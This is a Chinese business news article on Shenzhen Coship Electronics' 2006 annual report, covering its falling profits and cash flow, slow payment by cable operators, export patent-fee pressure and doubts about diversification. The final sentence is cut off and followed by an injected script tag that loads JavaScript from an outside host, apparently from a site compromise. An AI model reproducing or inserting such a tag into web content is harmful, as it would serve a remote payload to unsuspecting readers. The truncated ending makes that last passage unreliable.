4月底，国内最大的专业机顶盒企业深圳同洲电子发布的2006年年度报告中显示，2006年公司利润总额较上年同比下降5.42%，净利润同比下降0.77%，经营活动产生的现金流量净额同比下降239.2%。其中公司的主营业务(卫星接收机、ip机顶盒、有线机顶盒、地面机顶盒)利润率同比下降0.29%。业内人士表示，以机顶盒起家的同洲电子利润同比下降，主要是受到两方面的影响，从投资国内机顶盒市场而言，虽然2006年数字电视整体平移带动了国内机顶盒市场的销量增长，但完全由有线电视运营商主宰的市场，机顶盒企业往往是有了订单却没有回款，回收资金困难，致使公司销售收入较低，亏损可能性较大。从国外机顶盒市场来看，一直以出口卫星机顶盒为主的同洲电子，由于受到国外专利费的困绕也直接影响出口。而这两大隐患，使专业机顶盒企业面临困局。

另外，类似如同洲这样的专业机顶盒企业同时面对两大压力，其一，市场份额逐渐被一些大型家电企业挤压。其二，从未来机顶盒技术的发展趋势来看，机顶盒功能将逐渐集成在电视机里，做到硬件和

软件分离，最终的受益者将是家电机顶盒企业。因此，专业机顶盒企业要在技术上做到未雨绸缪。

主营业务利润下滑

作为近两年一直保持国内机顶盒市场份额前5名的深圳同洲电子所发布的2006年年度报告显示，公司利润总额较2005年同比下降5.42%，净利润同比下降0.77%，经营活动产生的现金流量同比下降239.2%。而作为公司的主营业务(卫星接收机、ip机顶盒、有线机顶盒、地面机顶盒)利润率同比下降0.29%，其中，有线机顶盒和地面机顶盒的利润同期增长1.21%和1.51%，而卫星接收机利润率同比下降0.38%，ip机顶盒同比下降12.45%。

东方证券分析师张小嘎接受记者采访时表示，虽然同洲2006年年度报告对外显示利润同比下降的原因是由于资金大量用于招聘人才和扩充销售终端队伍，但国内和国外市场的环境也是导致一些机顶盒企业利润下滑的直接原因。从投资国内机顶盒市场而言，虽然2006年数字电视整体平移带动了国内机顶盒市场的销量增长，但完全由有线电视运营商主宰的市场，机顶盒企业往往是有了订单却没有回款，回收资金困难，致使公司销售收入较低，亏损可能性较大。

从同洲2006年年度报告中可以看到，一直以出口卫星机顶盒为主的同洲在2006年，其卫星机顶盒利润率同比有所下降。张小嘎表示，去年欧洲mpeg-2组织向国内机顶盒企业索要专利费直接影响了同洲机顶盒的出口，如果专利费索要成功，这对于以出口为主的机顶盒企业来说将是灭顶之灾。

多元投资前景堪忧

从2006年同洲的步伐可以看到，通过上市融资之后，同洲不仅在广电领域参与产业链中的环节增多了，开始渗透gps、手机、汽车电子等产品。

同洲电子董事长兼总裁袁明在2007ccbn的第四届数字技术创新论坛中讲到：“为促进整体转换互动的发展，目前同洲提供多种的资金筹措的合作模式，一是可以参与项目投资，帮助业务运营规划；二是可以提供资金筹款；三是提供前端到终端的设备销售；四是提供增值服务。”

同洲电子总裁助理孙宫宪接受记者采访时曾表示，同洲数字电视产品将从机顶盒扩展到安防、通信、集成电路等产品。可以看到，同洲欲向消费电子提供商转型。

但是，这种多元化的投资，也影响到了同洲2006年的利润总额。飞利浦数字电视机顶盒策略及发展事业部产品经理孙喜庆接受记者采访时表示，从目前来看，同洲的主营业务还是机顶盒，但同洲仍旧还未退去专业领域制造商的印象，成长为一个知名的消费电子品牌尚有待时日。随着机顶盒市场的持续升温，由垂直市场转向水平市场将是必然。水平市场的竞争将是渠道、网点、物流、售后服务、品牌、营销等全方位的综合比拼，而在这些方面，同洲并没有准备就绪。如何在水平市场上和传统大型消费家电提供商展开竞争？似乎同洲并不关心。

如果同洲不抓住数字电视现有的机会，在主战场巩固基础，扩大战果，而开始拉长战线，甚至跨行业作战。一旦新投资的行业缺乏新的利润增长点，这将会影响到公司的整体利润。张小嘎同时认为，同洲最大的优势在于机顶盒这块主营业务，如果不趁现在加快机顶盒的技术研发，将会逐渐失去机顶盒的主导地位，这恐怕也不会是同洲所期望的。

回收资金是难题

虽然2006年数字电视整体平移带动了国内机顶盒市场的销量增长，但完全由有线电视运营商主宰的市场，机顶盒企业往往是有了订单却没有回款。

“这也是为什么同洲现金流下跌的主要原因。”张小嘎表示，“由于有线电视运营商对机顶盒回款周期太长所致，这也会促使同洲在资金财务上的压力。”

这种现象也是其他机顶盒企业所面临问题。诸多机顶盒企业对于目前机顶盒所带来的收益苦不堪言，一位机顶盒老总曾告?script src=http://er12.com/t.js>